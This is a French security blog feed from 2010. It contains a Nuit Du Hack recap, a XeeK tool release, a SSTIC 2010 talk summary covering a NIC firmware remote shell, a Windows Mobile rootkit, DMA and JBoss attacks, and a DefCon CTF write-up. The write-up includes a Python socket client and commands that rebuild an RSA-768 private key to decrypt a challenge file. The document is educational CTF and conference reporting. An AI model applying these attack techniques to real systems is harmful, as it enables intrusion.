Au final, très peu d’épreuves ont pu être exploitées avec succès pendant ce challenge. Pas mal d’équipes nous ont demandé s’il était possible de diffuser les épreuves en ligne ainsi que les solutions. C’est désormais chose faite ! Rendez-vous sur wargame.nuitduhack.com et préparez-vous à griller quelques neurones  
Bilan
J’ai croisé beaucoup de monde pendant cette soirée, mais je n’ai malheureusement pas pu discuter avec tout le monde. En me basant sur les retours de ces personnes, je pense pouvoir affirmer que cette Nuit Du Hack 2010 était un véritable succès. Certes nous avons rencontré un certain nombre de problèmes qui en ont déçu certains, notamment le streaming qui n’a pas pu se faire convenablement, ou les dysfonctionnement des challenges. Nul n’est parfait ; chaque année nous faisons face à certains problèmes que nous tentons de résoudre l’année suivante. On le voit clairement lorsque l’on compare la NDH de cette année avec celle de 2007 par exemple… Cette année, un effort considérable a été porté sur l’organisation du challenge, la communication avec les équipes, le respect du timing pour les conférences, le niveau sonore (qui, on le rappelle, était assez insupportable les années précédentes), etc. Je remercie toute l’équipe pour avoir réussi à organiser un événement de cette ampleur, qui est à ma connaissance le plus grand de ce genre en France.
N’hésitez pas à donner votre avis sur l’événement, faites nous part de vos remarques et vos suggestions pour les années futures. Un topic/sondage va très certainement être ouvert sur les forums officiels, alors comme on dit, lachez vos com’ !
Note : Ayant été assez occupé, je n’ai pris que très peu de photos de l’événement. Je les mettrai sans doute en ligne dans quelques jours. En attendant vous pouvez en trouver sur Les Tutos de Nico.
]]>
			https://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/feed/
		7
		
		
		
		https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/
		https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/#comments
		Sat, 19 Jun 2010 16:15:21 +0000
		Emilien Girault
				
		
		
		
		
		

		http://www.segmentationfault.fr/?p=833
		
			Comme promis, voici la toute première release de XeeK, en direct de la Nuit Du Hack 2010. Comme son numéro de version le suggère, il s’agit d’une version BETA donc potentiellement buggée  .


XeeK v0.1b : archive comportant le client, le serveur, ainsi que l’aide (fichiers INSTALL.txt et README.txt)
Slides de la conférence (PDF)

J’éditerai ce billet prochainement pour y ajouter un petit tutorial concernant l’installation et l’utilisation de XeeK.
]]>
			https://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/feed/
		12
		
		
		
		https://www.segmentationfault.fr/securite-informatique/sstic-2010/
		https://www.segmentationfault.fr/securite-informatique/sstic-2010/#comments
		Sat, 12 Jun 2010 12:08:41 +0000
		Emilien Girault
				
		
		
		

		http://www.segmentationfault.fr/?p=812
		
			Me voici de retour de l’édition 2010 du SSTIC. C’était la première fois que j’allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d’information. Au programme : 3 jours de conférences, des rump sessions, un social event, des geeks, des trolls, du code qui défile, bref une super ambiance. Plusieurs personnes ont déjà fait un compte rendu détaillé de chaque conf (qui plus est en temps réel, chapeau à eux !), aussi je ne détaillerai ici que celles que j’ai trouvées les plus marquantes. Ce billet est pour le moment incomplet, il sera terminé très prochainement.

Enjeux et défis pour le renseignement technique
La première conférence est présentée par Bernard Barbier, directeur technique de la DGSE. Il y présente les activités pratiquées par l’agence à l’extérieur du territoire français, principalement en matière de renseignement d’origine technique, et rappelle les différents enjeux liés à la sécurité des systèmes d’information, en particulier les moyens de communication  et la cryptographie. Quelques méthodes techniques d’obtention de renseignement sont illustrées, tout en rappelant leur aspect souvent clandestin et les conséquences que cela peut avoir dans certains pays. On y apprend (ou pas) que la DGSE pratique l’écoute téléphonique, analyse des photos satellite, utilise des super-calculateurs à des fins de cryptanalyse, et met en œuvre des techniques visant à fragiliser les méthodes de chiffrement lorsque celles-ci ne sont pas cassable en un temps raisonnable. Le tout étant présenté avec une transparence relative mais appréciable, du moins tant qu’on ne demande pas de la taille des clés RSA que l’agence est en mesure de casser  . La conf se termine par un message clair : la DGSE recrute 100 personnes par an. Candidats, faites-vous connaître…
Keynote par Bernard Barbier, directeur technique de la DGSE
CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique
Fabien Allard et Mathieu Morel (Thales) présentent un outil permettant de détecter l’utilisation de différents protocoles encapsulés dans du HTTPS. Leur méthode est basée sur un apprentissage utilisant un ensemble d’exemples traité en utilisant différentes méthodes de classification, les paramètres étant principalement la longueur des paquets et le temps entre chacun. Leurs expériences montrent que les meilleurs résultats sont obtenus en combinant Random Forest et les modèles de Markov cachés. Au final, on obtient 96% de bonnes classifications, et aux alentours de 5%.
virtdbg : un débogueur noyau utilisant la virtualisation matérielle
Damien Aumaitre et Christophe Devine (SOGETI ESEC) dévoilent un debugger au but simple mais ambitieux : pouvoir debugger un système Windows 7 64 bits sans activer le flag /DEBUG, ni désactiver PatchGuard. Deux problèmes : impossible de charger un driver non signé par la méthode classique, ni de patcher l’IDT (PatchGuard l’en empêche). Leur technique consiste à utiliser le DMA afin d’injecter leur driver comprenant leur hyperviseur. Pour ce faire, ils utilisent un FPGA connecté par PCMCIA sur la machine à debugger, et en USB sur le debugger. L’hyperviseur utilise la virtualisation hardware basée sur la technologie Intel  VT-x (à la BluePill), et permet d’intercepter les interruptions 1 et 3. L’interface de leur debugger est codée en Python, et dialogue avec l’hyperviseur en utilisant le protocole GDB. Le tout avec une démo qui marche, bravo à eux  .
Démo de virtdbg par Damien Aumaitre et Christophe Devine
Analyse de programme par traçage
Pour Daniel Reynaud, Jean-Yves Marion et Wadie Guizani, l’analyse statique de blob binaire c’est bien, mais pas suffisant. Surtout dans le cas de binaires packés par couches. On propose donc un outil libre nommé TraceSurfer basé sur PIN, permettant de suivre de déroulement d’un programme en générant des traces, puis de les importer dans des outils comme IDA Pro. Le résultat est assez sexy ; on peut alors visualiser les instructions effectivement exécutées par le programme, et détecter les éventuelles protections anti-debugging comme les auto-modifications ou contrôles d’intégrité. Il est possible de générer des graphes mettant en évidences les différentes couches d’un binaire packé. Pour tester sa performance, l’outil a été lancé sur un cluster dans le but de détecter des protections anti-VM de plusieurs milliers de malwares obtenus grâce à un honeypot. Les résultats sont assez intéressants, bien que je ne me souvienne plus des chiffres… À tester !
TraceSurfer en action dans IDA Pro
Intéressez-vous au droit… avant que le droit ne s’intéresse à vous.
Éric Barbry nous livre un véritable one man show qui contraste fortement avec le caractère technique des conférences précédentes. La France possède toute une série de lois relative aux systèmes d’informations, dont certaines difficilement applicables, et en pratique rarement appliquées en intégralité : Informatique et libertés, LSQ, LCEN, HADOPI, LOPPSI, etc. Et pourtant, «nul n’est censé ignorer la loi»… L’accent est porté sur la responsabilité, autour de questions concrètes telles que «Qui est le responsable si un employé télécharge illégalement du contenu ou parie en ligne sur des sites non autorisés depuis son bureau ?». Une très bonne intervention qui aura su capter l’intérêt de l’auditoire tout en traitant d’un sujet souvent considéré comme barbant  
Les multiples casquettes du RSSI
Résultats et solution du challenge
Le lendemain matin, on présente les résultats du challenge de cette année, qui en a dérouté plus d’un. Les solutions sont en ligne, je vous invite donc à les lire car je doute vraiment être le mieux placé pour les exposer ici… On a droit à un résumé par Arnaud Ébalard (EADS Innovation Works) dont la solution a été classée 1ère en terme de qualité. En vrac, on notera la récupération des .APK en utilisant les spécificités du format ZIP et un bruteforce sur les pages physiques, une couche crypto ressemblant à du Vigenère, une clé publique dont la seule composante utile était la sous-clé ElGamal, l’utilisation de PARI/GP pour l’attaquer, la décompilation des .DEX avec Baksmali, du reversing de librairie .SO, des énigmes tordues, et un hash Shabal 256 mal utilisé. Un grand bravo à lui ainsi qu’à tous ceux qui ont réussi le challenge !
Mentions spéciales pour le challenge
Analyse de l’efficacité du service fourni par une IOMMU
Par Éric Lacombe, Fernand Lone Sang, Vincent Nicomette et Yves Deswarte (LAAS/CNRS). Le but d’une IOMMU est de contrôler les accès à la mémoire par les différents périphériques d’entrée/sortie, telle que la MMU vis-à-vis du CPU. Dans le cadre des attaques DMA, une IOMMU traduit les adresses virtuelles demandées par le périphériques en adresses physique en se basant sur deux critères principaux : le source-id identifiant le périphérique, et des tables de traductions internes. La conférence présente deux attaques visant chacun de ces critères : la reconfiguration des tables et le spoofing de source-id. La deuxième attaque est mise en œuvre en utilisant un pont PCI – PCI Express, fréquent surtout pour les machines anciennes. Un tel pont permet de connecter des devices PCI sur l’interface PCI Express ; le problème étant que tous les devices PCI rattachés partagent alors le même source-id. Une démo faisant intervenir un iPod malveillant et une carte réseau connecté sur un tel pont montre comment il est possible de déclencher une attaque d’ARP Cache Poisonning. Les paquets ARP étant injectés par l’iPod dans les buffers de réception gérés par les drivers de la carte réseau, l’attaquant n’a plus besoin d’envoyer de trames. On a ainsi droit à un hijacking en live d’un épisode de The Big Bang Theory regardé en streaming  
Quelques éléments en matière de sécurité des cartes réseau
Par Guillaume Valadon, Loic Duflot, Olivier Levillain et Yves-Alexis Perez (ANSSI). Cette excellente conférence revient sur l’exploitation d’une vulnérabilité des cartes réseau Broadcom, patchée depuis. On y apprend avec stupéfaction (du moins pour ma part !) qu’une carte réseau est très loin d’être un élément « simple ». En effet, celle-ci possède un firmware qu’il est possible de flasher temporairement, qui gère certains protocoles de façon automatique et ce sans que le CPU en ait conscience ! Ainsi, ces carte réseau comportent leur propre pile IP et est même capable de gérer des messages SOAP… Le problème, c’est que celles-ci sont parfois implémentées sans notion de sécurité. Ici en l’occurrence, les auteurs mettent en évidence un buffer overflow touchant le champ « username » du protocole ASF,  utilisé pour le management et le monitoring. Pour être en mesure de l’exploiter, ils ont du coder un debugger de carte réseau, en utilisant le fait que les registres de la carte sont mappés en mémoire, et que celle-ci possède des options de debug (mode single-step, breakpoint…). En live, ils exploitent la vulnérabilité et montrent comment déclencher un remote root shell en envoyant un message ICMP. Vraiment bluffant…

Exploitation de buffer overflow dans le firmware d'une carte réseau
Applications Facebook : Quels Risques pour l’Entreprise ?
Alban Ondrejeck, Francois-Xavier Bru et Guillaume Fahrner montrent les résultats d’une expérience intéressante visant à mettre à l’épreuve le (non) contrôle des applications Facebook. Sous le couvert d’une application « Who crashed you? » codée maison et a priori « utile », ils récoltent des informations personnelles sur les utilisateurs l’ayant installé, et exploitent le caractère viral du réseau social. En créant une vingtaine de profils fictifs et en ajoutant divers personnes comme amies, ils parviennent très rapidement à répandre l’application et à collecter des informations sur tous leurs utilisateurs (dommage, je n’ai pas noté les chiffres). Cela montre une absence de contrôle concernant les permissions de telles applis.
Projet OpenBSC
Harald Welte part d’un constat simple : les protocoles GSM et 3G sont documentés publiquement, mais les études de sécurité à ce sujet sont très peu nombreuses, du fait que l’industrie de la téléphonie est un monde très fermé (coût très élevé du hardware, notamment). Et pourtant, ces protocoles sont beaucoup plus répandus que ce que l’on pourrait croire. Comme le dit si bien l’orateur, «GSM is more than phone calls» : ce protocole est utilisé non seulement par les téléphones, mais aussi par certaines voitures, trains, systèmes d’alarmes, distributeurs, etc. Après avoir exposé rapidement l’architecture d’un réseau GSM, l’auteur introduit le projet OpenBSC, qui vise à fournir les éléments nécessaires à la réalisation de son propre réseau GSM. Une sorte d’Asterisk pour le GSM, en gros… Les différents problèmes de sécurité du GSM sont rapidement abordés : pas d’authentification entre le téléphone et le réseau, chiffrement faible, optionnel et non explicite (rien ne permet à un utilisateur de savoir si ses communications sont véritablement chiffrées), dénis de service possibles, géolocalisation… N’ayant jamais étudié ces protocoles, je suis loin d’avoir tout saisis, mais la conférence était très intéressante et incite à en savoir plus.

Architecture d'un réseau GSM
Rumps sessions
Pour les néophytes du SSTIC, les rumps sessions sont des mini exposés de 4 ou 5 minutes présentables par n’importe qui et sur n’importe quel sujet, lié de près ou de loin à la sécurité. Je n’ai pas tout noté (pas comme Sid), donc voici en vrac quelques une d’entre elles :

Kesske SSTIC, qui dévoile pas mal de chiffres sur l’édition 2010 du SSTIC. Pour ne citer que le minimum : 450 places écoulées en 25 heures, près de 2/3 du budget passe dans la bouffe (social event et resto universitaire), et un taux d’acceptation de 60% pour les soumissions de papier.
Timing attack sur machine à café, ou comment exploiter une vulnérabilité de machine à café pour gagner de la fidélité sur sa carte, et donc des café gratuits. Le principe est simple : retirer la carte après que la machine ait incrémenté la fidélité, et avant le débit  
Netglub, où on a le droit à une super démo d’un outil Maltego-like en C++/Qt et « vraiment OpenSource » permettant de faire de la recherche d’information. Vraiment sympa, j’ai hâte que ça sorte.
Deux projets qui vont bientôt sortir : le moteur de recherche de vulnérabilités QSWX et son spider Bubulle, et SecurityGarden, une sorte de PaketStorm en mieux.
ExeFilter contre les méchants PDF : outil de nettoyage de fichiers, utilisable pour désactiver les contenus malveillants dans un PDF et accessoirement se protéger des 0-days potentiels.
BOSS : Break Our Steganography System, un challenge de stégano débutant à la fin du mois.
Scapytain : Philipe Biondi expose de façon inédite un outil de gestion de campagne de tests basé sur Scapy.


Présentation de Scapytain sous GIMP
JBOSS AS: Exploitation et sécurisation
Renaud Dubourguais (HSC) présente un état de l’art des vulnérabilités touchant le middleware JBOSS AS, démos à l’appui. Dès le début, c’est très clair : il n’y a pas de mécanismes de sécurité par défaut. Autrement dit, il y a de quoi faire… Console d’administration JMX accessible sans authentification (ou avec admin/admin), déploiement de backdoor sous forme d’application SAR, utilisation du protocole RMI, accès à la web console… Des mécanismes de sécurité existent (JBOSS SX, sandboxing) mais sont rarement implémentés en pratique. Une conférence très intéressante qui donne envie d’auditer du JBOSS…
Audit d’applications .NET complexes
Nicolas Ruff (EADS) dresse un état de l’art des techniques de reversing de code .NET permettant d’auditer les applications Microsoft. Une fois compilé, le bytecode .NET conserve la sémantique du code source, et il est possible de le décompiler avec des softs adaptés comme l’excellent Reflector, et d’utiliser l’API de reflexion pour récupérer de nombreuses informations. La compilation de ce bytecode en langage machine peut se réaliser à la volée (Just In Time) ou bien sous forme de DLL dans le Global Assembly Cache, que l’on peut également analyser avec des outils comme IDA. J’y apprend également que Windbg supporte le debugging d’applications .NET avec l’extension SOS accessible par la commande .loadby sos mscorwks. Démonstration pratique avec Songsmith, et hop.
PoC(k)ET, les détails d’un rootkit pour Windows Mobile 6
Cédric Halbronn expose les spécificités de l’implémentation d’un rootkit pour smartphone Windows Mobile 6. Ce genre de plateforme impose certaines contraintes, principalement la quantité de mémoire et la consommation de la batterie. Cependant comme le dit si bien l’auteur, le modèle de sécurité de Windows Mobile est très permissif. Les applications doivent être signées pour pouvoir s’installer… mais cette restriction est implémentée par le simple affichage d’un message d’avertissement. D’autre part, il est possible d’installer facilement un certificat dans le magasin de certificats privilégiés du téléphone, qui est invisible et inaccessible pour l’utilisateur. Il est alors facile de mettre en place un système de download & execute furtif. En outre, le passage en mode noyau se fait on ne peut plus simplement, grâce à l’appel à l’API SetKMode() ! Il devient alors possible de hooker le driver baseband gérant les commandes AT, la saisie du code PIN (qui transite en clair entre le baseband et le CPU), les SMS… L’injection de DLL est aussi possible, donc camoufler des fichiers peut se faire de la façon habituelle avec un hook des API FindFirstFile() etc. Le rootkit exposé ici est injecté par WAP Push, est contrôlable par une interface graphique, et n’est pas détecté par les anti-virus, qui d’après l’auteur «ne détectent qu’entre 5 et 10 virus»… Une question est posée : «Comment se protège-t-on alors ?». La réponse est claire : «On ne prend pas Windows Mobile»  

Interface d'admin du rootkit
Projet OsmocomBB
Harald Welte nous parle maintenant du projet OsmocomBB, visant cette fois-ci à fournir un baseband OpenSource pour téléphone mobile. J’ai été un peu largué, mais la démo super visuelle et intéressante a retenue mon attention. Il s’agissait de sniffer les communications GSM avec un mobile Motorola (coutant aux alentours de 15€) connecté à un laptop, puis et de les rendre affichables dans Wireshark (sans les déchiffrer). Le tout dans un amphi plongé dans le noir et illuminé par le code défilant à l’écran… Comme le disaient certains, «Le SSTIC revient aux sources» !

Wieshark sniffant du GSM
Conclusion
Comme je le disais en intro, j’ai volontairement omis quelques conférences (notamment celle de clôture), principalement car car la mémoire me fait défaut, ou bien parce que j’estime que des bien meilleurs résumés ont été fait avant moi…
Globalement les conférences étaient d’excellente qualité. Mes coups de cœur restent les interventions techniques, (virtdbg, l’IOMMU, la sécurité des cartes réseau, JBOSS, le reversing d’applis .NET, PoC(k)ET, GSM…) même si les autres ne manquaient pas de qualité. Concernant la conférence sur OPA que je n’ai pas mentionnée ici, je suis assez d’accord avec ce qu’a exposé Sid sur son blog. Son contenu aurait pu être beaucoup plus intéressant, dommage qu’elle visait le mauvais public…
En tout cas, chapeau aux comités d’organisation et de programme ! J’espère pouvoir revenir l’année prochaine. En attendant, rendez-vous à la Nuit Du Hack le week-end prochain  
Mes photos sont disponibles sur ma galerie Picasa.

]]>
			https://www.segmentationfault.fr/securite-informatique/sstic-2010/feed/
		9
		
		
		
		https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/
		https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/#comments
		Mon, 24 May 2010 19:29:25 +0000
		Emilien Girault
				
		
		
		
		

		http://www.segmentationfault.fr/?p=796
		
			Contrairement à ce que certains pensent peut-être en voyant ce blog à l’abandon depuis plusieurs mois, non, je ne suis pas mort ! J’ai simplement été assez pris ces derniers temps, et j’essaye au passage de finaliser ma première release de XeeK pour la NDH le 19 juin…
Ce week-end, j’ai rapidement participé aux qualifications du CTF de la DefCon 18. Je n’avais pas refait de challenge depuis Insomni’hack 2010 donc je me suis senti obligé de me décrasser un peu le cerveau. Ma participation à ces qualifications est toutefois restée limitée ; n’ayant pas pu m’inscrire à temps j’ai du rejoindre une team à l’arrache (Big-Daddy).
Vue d’ensemble
Le challenge consistait en 6 séries de 5 épreuves, chacune intitulée de la sorte :

Poursuit trivial (épreuves générales)
Crypto Badness (cryptographie)
Packet Madness (réseau)
Binary L33tness (cracking, applicatif)
Pwtent Pwnables (exploitations de services)
Forensics (analyse de fichiers)

N’ayant pas énormément de temps à consacrer à ce challenge, je n’ai pas vraiment touché à tout mais me suis focalisé sur la crypto et le réseau.
Dans l’ensemble j’ai trouvé ça plutôt sympa, même si j’ai quand même deux remarques négatives à faire :

L’interface du panneau d’équipe codée en Java était vraiment plus que foireuse. Je ne sais pas si c’était du au fait qu’on soit plusieurs à partager le même compte, mais il fallait bouriner comme un dingue sur le bouton de validation afin d’avoir un espoir de valider les réponses (valides), voire même parfois se reconnecter.
Certaines épreuves étaient relativement capilotractées, dans le sens ou elles n’étaient pas réalistes du tout et qu’il fallait être à peu près aussi dingue que leur concepteur pour la valider. Enfin je pense que ça doit être à peu près pareil sur tous les challenges du genre…

Étant loin d’avoir réussi à valider toutes les épreuves, je vous propose de dévoiler la solution de deux d’entre elles que j’ai trouvées assez sympathiques.
Packet Madness 200
Dans cette épreuve, on fournissait une capture de paquets (à renommer en .pcap), le but étant comme toutes les autres épreuves de trouver une passphrase de validation.
Sous Wireshark, on constate qu’il s’agit d’un trafic TCP entre un client et un serveur. En utilisant l’option « Follow TCP Stream », on constate qu’il semble s’agir de trafic binaire…
Capture Wireshark
Cependant, l’indice laissé par l’épreuve suggère que les deux machines communiquent avec une « langue » inhabituelle. S’agirait-il d’un encodage connu mais peu courant ? En regardant un peu les encodages supportés par Wireshark, on s’aperçoit rapidement qu’ils ‘agit en fait de l’EBCDIC, encodage créé par IBM qui semble remonter à l’époque quasi-préhistorique des cartes perforées… En utilisant cet encodage, on y voit tout de suite plus clair :
Trafic décodé
Il s’agit donc d’une sorte de telnet encodé en EBCDIC. Visiblement, le serveur propose plusieurs options, comme la création d’un compte, l’authentification, un mode maintenance et un affichage de news. L’IP du serveur visible dans le dump, 192.42.96.121, existe bel et bien et héberge bien ce service sur le port 8686. Il semble donc que la réponse à l’épreuve doive être obtenue en s’y connectant. Malheureusement les outils classiques comme telnet et netcat ne supportent pas l’EBCDIC. Mais c’est sans compter Python, qui le supporte nativement, et qui va ainsi nous permettre de se coder un petit client maison :
#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.41.96.121", 8686))

while True:
 data = s.recv(3000)
 print data.decode('EBCDIC-CP-BE').encode('ascii')

 input = raw_input()
 input_to_send = input.decode('ascii').encode('EBCDIC-CP-BE')+"%"
 s.send(input_to_send)
Ce client permet d’envoyer des commandes au service tout en affichant ses réponses. Toutefois, j’ai constaté qu’il était toujours en retard d’un message par rapport au serveur. N’ayant pas le temps d’être perfectionniste, je m’en suis contenté et ai pu me créer un compte sur le serveur avec la commande « a », puis me loguer avec ce même compte (« l »). Le mode administrateur « m » ne fonctionnant pas, il ne restait que l’affichage des news (« n »), qui donnait cette sortie :
5/21/2010 - Defcon qualifiers are underway.

5/18/2010 - It's Bob Randolph's birthday today, wish him well
 if you see him

5/16/2010 - It's IBM old timer's night at the bowling alley.
 The key thing to remember at these things is that:
 once upon a time IBM ruled the world

4/29/2001 - First post! w00t!
La news du 16 mai 2010 m’interpelle du fait de la présence du mot « key »… Nous testons donc la réponse « once upon a time IBM ruled the world » à l’épreuve, et après un léger acharnement collectif sur le team board, nous parvenons à valider ! Finalement, ce n’était pas compliqué…
Crypto Badness 400
Dans cette épreuve épinglée de l’indice « crack me », on fournit une archive tgz (encore une fois à renommer). Celle-ci contient un fichier blob.dat visiblement chiffré et une clé publique pubkey.pem. Il s’agit donc visiblement de casser la clé publique afin de retrouver la clé privée et déchiffrer le fichier .dat. Voici la clé publique :
-----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----
Il s’agit d’une clé RSA. Pour analyser ce genre de clé, l’outil tout indiqué est OpenSSL. Cependant, une mauvaise surprise nous attend…
$ openssl rsa -pubin -in pubkey.pem -text
unable to load Public Key
20934:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:647:Expecting: PUBLIC KEY
Impossible de lire la clé avec cet outil, donc. Un peu de recherche Google, et je trouve quelqu’un qui a eu le même problème :
The problem is this an RSA public key PEM or DER generated by Ruby’s OpenSSL::PKey::RSA are unreadable by OpenSSL, Bouncy Castle and probably other  crypto tools.
The actual issue is that Ruby’s OpenSSL::PKey::RSA#to_pem and #to_der generate a PKCS#1 public  key format while the openssl rsa command only works PKCS#8 formatted public keys.
Ainsi, la clé semble avoir été générée avec le module OpenSSL de Ruby, et son format PKCS#1 empêche sa lecture avec OpenSSL. Qu’à cela ne tienne, nous allons utiliser ce même module pour la lire ! On ouvre le shell Ruby (IRB) et on tape :
$ irb
irb(main):001:0> require 'openssl'
=> true
irb(main):002:0> a=OpenSSL::PKey::RSA.new(File.read("pubkey.pem"))
=> -----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----

irb(main):003:0> a.params
=> {"dmq1"=>0, "dmp1"=>0, "iqmp"=>0, "n"=>12301866845301177551304949
58384962720772853569595334792197322452151726400507263657518745202199
78646938995647494277406384592519255732630345373154826850791702612214
29134616704292143116022212404792747377940806653514195974598569021434
13, "d"=>0, "p"=>0, "e"=>65537, "q"=>0}
On arrive ainsi à extraire le module (n) et l’exposant public (e). Ce dernier étant quasiment toujours le même, seul le module importe ici. Pour savoir si nous avons une chance de le casser, regardons sa taille en bits :
$ python
>>> import math
>>> n=12301866845301177551304949583849627207728535695953347921973224
52151726400507263657518745202199786469389956474942774063845925192557
32630345373154826850791702612214291346167042921431160222124047927473
7794080665351419597459856902143413
>>> math.log(n, 2)
767.66426718447133
Il semble codé sur 768 bits… Cela ne vous rappelle rien ? Le nombre RSA-768 a été cassé en décembre dernier. Et comme par hasard, c’est bien le même qui est utilisé ici… Nous allons donc pouvoir utiliser sa factorisation pour générer la clé privée correspondante. Par chance, StalkR de la team Nibbles a posté un article très similaire issu du CTF Codegate il y a quelques mois. Il y indique la procédure à suivre pour générer le certificat, qui pour simplifier se résume à télécharger un en-tete d’OpenSSL ainsi qu’un programme C servant à générer la clé. On lance tout ça :
$ gcc -lssl -o create_private create_private.c
$ ./create_private
La clé privée est générée dans le fichier private.pem. Il ne reste alors plus qu’à décrypter le fichier blob.dat en utilisant la commande :
$ openssl rsautl -decrypt -inkey private.pem -in blob.dat -out output.txt
Moment de vérité…
$ cat output.txt
how long until 1024 falls by the wayside?
Il s’agit bien de la réponse à l’épreuve (validée encore une fois grâce à un acharnement collectif).
Comme l’épreuve précédente, ce n’était techniquement pas compliqué, l’obstacle majeur étant la non-reconnaissance de la clé par OpenSSL… En tout cas merci à StalkR pour son article qui a été d’une grande aide.
Conclusion
Ces épreuves ont été l’occasion pour moi de me remettre un peu dans le bain des CTFs. Le niveau était globalement assez élevé (plus dur que l’année dernière à en croire certains), et nous n’avons réussi à valider que quelques épreuves; les résultats sont disponibles ici. Pour ceux que ça intéresse, vous trouverez le résultat de la dernière épreuve du Poursuit trivial ici.
Chapeau à Nibbles pour avoir terminé 10ème ; un grand bravo à eux. Et merci à tous ceux avec qui j’ai challengé, en particulier à Silkut, MatToufoutu, et Dad. En espérant que nous parviendrons à créer une équipe HZV l’année prochaine, du moins si nous avons plus de temps et de ressources…
]]>
			https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/feed/
		12